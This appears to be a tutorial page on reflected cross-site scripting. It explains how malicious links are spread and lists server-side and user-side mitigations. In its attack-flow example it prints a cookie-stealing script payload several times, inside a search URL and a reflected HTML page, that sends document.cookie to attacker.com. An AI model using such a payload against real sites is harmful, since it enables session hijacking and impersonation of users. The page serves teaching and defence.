Reflected Cross Site Scripting (r-XSS)
Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the victim’s browser.The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. The vulnerability is typically a result of incoming requests not being sufficiently sanitized, which allows for the manipulation of a web application’s functions and the activation of malicious scripts. This attack differs from a Persistent XSS attack in that the malicious code is not stored on the server’s database, instead it is commonly user to exploit search query URLs where the search term is reflected back to the user.
To distribute the malicious link, a perpetrator typically embeds it into an email or third party website (e.g., in a comment section or in social media). The link is embedded inside an anchor text that provokes the user to clicking on the it, which initiates the XSS request to an exploited website, reflecting the attack back to the user.
At first, reflected XSS might seem harmless because it requires the victim himself to actually send a request containing a malicious string. Since nobody would willingly attack himself, there seems to be no way of actually performing the attack. As it turns out, there are at least two common ways of causing a victim to launch a reflected XSS attack against himself:
If the user targets a specific individual, the attacker can send the malicious URL to the victim (using e-mail or instant messaging, for example) and trick him into visiting it.
If the user targets a large group of people, the attacker can publish a link to the malicious URL (on his own website or on a social network, for example) and wait for visitors to click it.
These two methods are similar, and both can be more successful with the use of a URL shortening service, which masks the malicious string from users who might otherwise identify it.
Examples of Persistent XSS
For those of you unfamiliar with JavaScript and HTML syntax, HTML is a tag based language meaning that elements in a web page are distinguished by their tag. <a> tags indicated links, <p> tags indicate paragraph style text, and the one we are interested is <script> tags. These tags denote JavaScript code and when the browser comes across a <script> tag it will know to execute whatever code is in that tag.
A possible attack flow may look like the following:
The malicious code is contained between the <script></script> tags in the following code
The attacker crafts some especially devious JavaScript code and places it as part of a search query for a vulnerable website.
Hey user, check this out: "http://website.com/search?keyword=<script>window.location='http://attacker.com/?cookie='+document.cookie</script>"The victim is then tricked by the attacker to click on the link, that will send the malicious code as part of a search query to the server.
GET "http://website.com/search?keyword=<script>window.location='http://attacker.com/?cookie='+document.cookie</script>"The website does not perform a check on the query string and generates a search page for the query string. As this attack is not designed to attack the website, the website returns a response with the non-sanitized search string in the HTML body.
<html>
<h1> You Searched for:</h1>
<script>
window.location='http://attacker.com/?cookie='+document.cookie
</script>
<tr> Table of Search Results
.
.
.
.
</tr>
</html>The browser executes the code and sends a get request to the attacker’s server with the user’s cookie. The attacker can then use the cookie to determine personal data and/or impersonate the user at the legitimate site.
GET "http://attacker.com/?cookie=user-cookie"Reflected XSS Mitigation
Server-Side
For Reflected XSS, the same server-side Mitigations mentioned in the persistent XSS page apply. In this case the specific attack focuses on user input that is handled by the server, but may not necessarily be added to the website’s internal database.
In essence the user input data needs to be sanitized to prevent the malicious code from running when it gets sent back to the client.
Client-Side
As the Reflected XSS method requires the user to click on a link to in essence attack themselves, the user has some protections they can follow to reduce the risk of a reflected XSS attack.
The primarily mitigation is to watch out for suspicious links found in
- Emails from unknown senders
- A website’s comments section
- Social media feed of unknown users
Having said that, it is ultimately up to a website operator to prevent potential abuse to their users.
